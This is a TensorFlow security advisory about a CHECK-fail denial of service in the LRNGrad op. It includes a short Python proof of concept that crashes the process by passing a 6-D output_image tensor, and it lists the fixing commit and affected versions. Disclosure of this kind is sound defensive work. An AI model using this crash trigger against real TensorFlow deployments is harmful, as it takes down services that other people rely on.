TensorFlow vulnerable to `CHECK` fail in `LRNGrad`
Impact
If LRNGrad is given an output_image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
depth_radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)

Patches
We have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
